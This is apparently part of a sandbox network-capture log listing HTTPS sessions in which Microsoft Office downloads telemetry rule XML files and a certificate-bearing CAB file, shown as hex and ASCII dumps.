2024-11-19 21:06:54 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 3dc9aa8d-67b6-4b86-8957-bb38efe99699 MS-RequestId: 8ecbe94e-2cf9-41ce-89d8-ff57e7b40752 MS-CV: kkpcCOl4OkGQyfGA.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 19 Nov 2024 21:06:53 GMT Connection: close Content-Length: 30005
2024-11-19 21:06:54 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-19 21:06:54 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.4	49737	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:54 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:55 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:55 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Tue, 19 Nov 2024 13:10:03 GMT ETag: "0x8DD089B7B2F27B3" x-ms-request-id: 082f1a68-301e-005d-348c-3ae448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210655Z-r1d97b9957747b9jhC1TEBgyec000000080000000000b4wk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:06:55 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-19 21:06:55 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-19 21:06:55 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-19 21:06:55 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-19 21:06:55 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-19 21:06:55 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-19 21:06:55 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-19 21:06:55 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-19 21:06:55 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-19 21:06:55 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.4	49738	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:55 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:55 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:55 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: f909c6c7-c01e-0049-518c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210655Z-1777c6cb754ww792hC1TEBzqu400000008cg00000000qabm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:06:55 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.4	49740	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:55 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:56 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:55 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 884d2a23-a01e-00ab-5b8c-3a9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210655Z-1777c6cb7549x5qchC1TEBggbg00000008k000000000vtdr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:06:56 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.4	49739	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:55 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:56 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:55 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: ac6669be-e01e-003c-668c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210655Z-1777c6cb7549x5qchC1TEBggbg00000008n000000000ng22 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:06:56 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.4	49742	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:55 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:56 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:55 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 8753231e-501e-008f-038c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210655Z-r1d97b99577d6qrbhC1TEBux5s0000000820000000006nxw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:06:56 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.4	49741	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:55 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
